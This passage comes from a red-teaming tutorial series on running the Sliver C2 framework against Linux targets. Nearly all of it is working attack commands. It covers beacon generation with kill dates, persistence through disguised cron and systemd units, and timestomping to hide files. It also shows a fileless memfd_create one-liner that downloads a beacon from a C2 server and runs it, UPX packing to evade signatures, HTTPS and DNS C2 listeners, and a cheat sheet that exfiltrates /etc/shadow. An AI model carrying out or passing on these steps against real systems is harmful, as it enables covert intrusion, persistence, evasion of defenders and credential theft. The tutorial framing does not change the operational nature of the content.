--save /tmp/beacon_killdate.elf
# Example: short engagement window -- implant dies at 1800 EST on Friday
# 1800 EST = 2300 UTC
generate beacon \
--https YOUR_C2_IP:443 \
--os linux --arch amd64 --format elf \
--evasion --skip-symbols \
--seconds 3600 --jitter 300 \
--limit-datetime "2025-12-05T23:00:00Z" \ # 1800 EST = 2300 UTC
--save /tmp/beacon_shortop.elf
# Check target's timezone before choosing your UTC offset:
# EST = UTC-5 -> 0800 EST = 1300 UTC
# EDT = UTC-4 -> 0800 EDT = 1200 UTC (summer)
# UTC = UTC+0 -> 0800 UTC = 0800 UTC (most servers)
Time-of-day control — what actually works:
| Technique | Mechanism | Restriction Type |
|---|---|---|
--limit-datetime "2025-12-31..." |
Kill date — stop after this UTC time | Expiry only |
--seconds 86400 --jitter 3600 |
Sleep 24h with 1h variance | Reduces frequency, not a schedule |
| Cron wrapper (8.5) | OS scheduler launches beacon at 0800, kills it at 1800 | True time-of-day control |
| systemd timer (8.5) | Same as cron but via systemd | True time-of-day control |
Bottom line: Use
--limit-datetimefor kill dates. Use OS cron/systemd timers to control when the beacon runs. Combine both for a beacon that only runs 0800-1800 M-F AND self-destructs at end of engagement.
8.5 — Cron Wrapper: Launch Beacon at 0800 EST (True Scheduling)
This is the correct approach for time-of-day control. The beacon binary exists but only runs during business hours — reducing its EDR exposure window.
# Step 1: Generate the beacon with a kill date but no artificial sleep limit
# The cron schedule IS the time-of-day control
generate beacon \
--https YOUR_C2_IP:443 \
--os linux --arch amd64 --format elf \
--evasion --skip-symbols \
--seconds 3600 --jitter 300 \
--limit-datetime "2025-12-31T23:59:59Z" \ # engagement kill date
--save /tmp/beacon.elf
# Step 2: Transfer beacon to target, rename innocuously
cp /tmp/beacon.elf /usr/lib/systemd/.network-helper
chmod +x /usr/lib/systemd/.network-helper
# Step 3: Check target's timezone -- critical for correct UTC offset
timedatectl 2>/dev/null | grep "Time zone"
date +%Z && date -u # local vs UTC -- confirm the offset
# Timezone offset math:
# EST = UTC-5 -> 0800 EST = 1300 UTC -> cron hour = 13
# EDT = UTC-4 -> 0800 EDT = 1200 UTC -> cron hour = 12 (summer/daylight saving)
# PST = UTC-8 -> 0800 PST = 1600 UTC -> cron hour = 16
# If target runs UTC: 0800 UTC = 0800 UTC -> cron hour = 8
# Step 4: Create a cron job (requires root for /etc/cron.d/)
# Disguise the filename -- blend with existing cron files
cat > /etc/cron.d/systemd-check << 'EOF'
# System integrity monitor
SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Launch beacon at 0800 EST (1300 UTC) weekdays -- only if not already running
0 13 * * 1-5 root pgrep -xf ".network-helper" > /dev/null 2>&1 || /usr/lib/systemd/.network-helper &
# Kill beacon at 1800 EST (2300 UTC) weekdays -- clean exit before EOD
0 23 * * 1-5 root pkill -xf ".network-helper" > /dev/null 2>&1; true
EOF
# Step 5: Timestomp to blend with existing cron files
touch -r /etc/cron.d/anacron /etc/cron.d/systemd-check
touch -r /etc/cron.d/anacron /usr/lib/systemd/.network-helper
# Alternative: systemd timer (more legitimate-looking, harder to spot in casual review)
cat > /etc/systemd/system/netcheck.timer << 'EOF'
[Unit]
Description=Network Integrity Check Timer
[Timer]
OnCalendar=Mon-Fri 08:00:00 America/New_York
Persistent=false
[Install]
WantedBy=timers.target
EOF
cat > /etc/systemd/system/netcheck.service << 'EOF'
[Unit]
Description=Network Integrity Check
[Service]
Type=forking
ExecStart=/usr/lib/systemd/.network-helper
ExecStop=/usr/bin/pkill -xf .network-helper
StandardOutput=null
StandardError=null
EOF
systemctl daemon-reload
systemctl enable netcheck.timer
# Timestomp
touch -r /etc/systemd/system/ssh.service /etc/systemd/system/netcheck.timer
touch -r /etc/systemd/system/ssh.service /etc/systemd/system/netcheck.service
Why cron over
--limit-datetimefor scheduling:--limit-datetimeis a kill date — the process can still start at any time before that date. Cron controls when the process starts. Combined: cron handles the 0800 launch window,--limit-datetimehandles the engagement expiry, and killing at 1800 keeps it off the wire overnight.
8.6 — Stealthy Delivery: In-Memory Execution via memfd_create
Never write the beacon ELF to disk on the target. Use memfd_create to execute it purely from memory — no file, no inode, no disk forensics.
# Prerequisite: Sliver C2 is running, listener is up, beacon.elf is on your C2 web server
# On the C2 server, serve the payload:
python3 -m http.server 8080 --directory /tmp/payloads &
# On the TARGET -- run this one-liner to download and execute the beacon in-memory:
python3 -c "
import os, urllib.request
fd = os.memfd_create('kworker', os.MFD_CLOEXEC)
payload = urllib.request.urlopen('http://YOUR_C2_IP:8080/beacon.elf').read()
os.write(fd, payload)
os.fexecve(fd, ['/proc/self/fd/%d' % fd], dict(os.environ))
"
# The process appears in 'ps' as 'kworker' -- matches kernel thread naming convention
# No ELF file on disk. Forensics finds nothing in /tmp, /dev/shm, or anywhere else.
Alternative: Base64 embedded delivery (no outbound HTTP from target)
# On attacker: encode the beacon
base64 -w0 beacon.elf > beacon.b64
# In your shell on the target -- paste the base64 string directly:
python3 -c "
import os, base64
b64 = 'AAAA...YOUR_BASE64_HERE...' # paste beacon.b64 contents here
fd = os.memfd_create('kworker', os.MFD_CLOEXEC)
os.write(fd, base64.b64decode(b64))
os.fexecve(fd, ['/proc/self/fd/%d' % fd], dict(os.environ))
"
# No network fetch from target, no disk write. Pure in-memory exec.
OPSEC:
memfd_createcreates an anonymous file descriptor not visible in the filesystem. The process does appear in/proc/PID/exeas/proc/self/fd/N (deleted)— a known IOC that some EDRs flag. For higher stealth, consider compiling a minimal C dropper that usesmemfd_createdirectly and masquerades via/proc/self/mapstricks. Thekworkerprocess name chosen above mimics kernel worker threads — inspect real kernel threads withps aux | grep "\[kworker"to pick a realistic name.
8.7 — Binary Hardening: Strip + UPX (Post-Generation)
After generating the ELF beacon, optionally harden it further on your attacker machine before delivery:
# Strip all remaining symbols (belt-and-suspenders on top of --skip-symbols)
strip --strip-all beacon.elf
# Verify size reduction:
ls -lh beacon.elf
# UPX compression -- reduces file size, breaks simple static signature matching
# CAUTION: Some EDRs specifically flag UPX-packed binaries -- test in your lab first
upx --best --lzma beacon.elf # max compression
upx -d beacon.elf # decompress if needed
# Verify the binary still works after UPX (test in lab VM first)
file beacon.elf # should still show ELF executable
./beacon.elf # test run in lab
# Check what strings remain (what an analyst would see)
strings beacon.elf | grep -iE "sliver|bishopfox|beacon|c2|mtls" | head
# If any Sliver-specific strings appear -> consider --garble at generation time
# Garble requires building Sliver from source with garble installed:
# go install mvdan.cc/garble@latest
# then generate with --garble flag
8.8 — HTTPS Listener Setup (Blend with Web Traffic)
# Inside Sliver console: start an HTTPS listener (port 443 -- looks like HTTPS to network TAPs)
https --lhost YOUR_C2_IP --lport 443
# Verify listener is running
jobs
# ID Name Protocol Port
# ==== ======= ========== ======
# 1 https tcp 443
# Generate beacon using HTTPS instead of mTLS
# HTTPS blends better in environments where mTLS to non-standard ports triggers alerts
generate beacon \
--https YOUR_C2_IP:443 \
--os linux --arch amd64 --format elf \
--evasion --skip-symbols \
--seconds 3600 --jitter 600 \
--save /tmp/beacon_https.elf
# For DNS C2 (extremely stealthy, traverses most firewalls):
# Requires a domain you control with NS records pointing to your server
dns --domains yourc2domain.com
generate beacon \
--dns yourc2domain.com \
--os linux --arch amd64 --format elf \
--seconds 7200 --jitter 1800 \
--save /tmp/beacon_dns.elf
# DNS beacon is very slow (DNS response times) but nearly unblockable
8.9 — Sliver Quick-Reference Cheat Sheet
# -- Server management --------------------------------------------------
sliver-server # start console
jobs # list active listeners
mtls --lport 8888 # start mTLS listener
https --lport 443 # start HTTPS listener
# -- Implant management -------------------------------------------------
implants # list all generated implants
beacons # list active beacons
sessions # list active sessions
use <ID> # interact with beacon or session
# -- Beacon interaction -------------------------------------------------
info # beacon details (interval, jitter, OS, PID)
tasks # list queued/completed tasks
interactive # promote beacon -> live session
background # return to main console (beacon stays active)
beacons rm <ID> # remove beacon entry
# -- In-session commands (Linux) ----------------------------------------
ls / pwd / cd # filesystem navigation
download /etc/shadow # exfil file to C2 server
upload /tmp/tool /tmp/ # push file to target
execute -o id # run command, capture output
shell # drop to interactive shell (noisy)
socks5 start # start SOCKS5 proxy via this implant
portfwd add -r TARGET_IP:22 -b 127.0.0.1:2222 # port forward
getenv / setenv # environment variable access
screenshot # capture desktop (GUI targets)
procdump --pid <PID> # memory dump of process
# -- Profiles (save generation configs) --------------------------------
profiles new beacon \
--https C2_IP:443 --os linux \
--seconds 3600 --jitter 600 \
--limit-datetime "2025-12-31T23:59:59Z" \
linux-biz-hours
profiles generate --save /tmp/ linux-biz-hours # generate from saved profile
profiles # list all profiles
Resources
| Resource | Type | Relevance |
|---|---|---|
| GTFOBins | Reference | Sudo / SUID exploitation one-liners |
| PayloadsAllTheThings — Linux PrivEsc | Reference | Comprehensive priv-esc techniques |
| HackTricks — Linux PrivEsc | Reference | Deep technique breakdowns |
| linux-exploit-suggester | Tool | Kernel CVE matching |
| pspy | Tool | No-root cron/process watcher |
| swap_digger | Tool | Swap memory credential extraction |
| InternalAllTheThings — Linux PrivEsc | Reference | Technique reference with MITRE mapping |
| RoseSecurity Red-Teaming-TTPs | Reference | Red team TTP list with commands |
| RedTeaming_CheatSheet (0xJs) | Reference | Comprehensive pentesting guide |
| d4t4s3c/OffensiveReverseShellCheatSheet | Reference | Reverse shell one-liners (bash/nc/python/socat) |
| RoqueNight/Reverse-Shell-TTY-Cheat-Sheet | Reference | TTY stabilization: Python/perl/ruby methods |
| pentestmonkey reverse shells | Reference | Classic one-liners |
| BishopFox/sliver | Tool / C2 | Adversary emulation framework — Linux focus |
| Sliver Docs | Reference | Official Sliver documentation |
| Learning Sliver C2 — Beacons & Sessions | Tutorial | Beacon vs session deep dive |
| Sliver C2 Usage for Red Teams | Tutorial | Operator guide with practical examples |
| Sliver + memfd_create | Tutorial | Fileless Linux delivery via memfd_create |
Back to [Parts 1a & 1b](1.1a Linux Deep Dive P1.md) — OPSEC Baseline & Privilege Escalation
Part of the [Red Teaming 101](0 README.md) series. Companions: [1a: OPSEC](1.1a Linux Deep Dive P1.md) · [1b: PrivEsc](1.1b Linux Deep Dive P1b.md).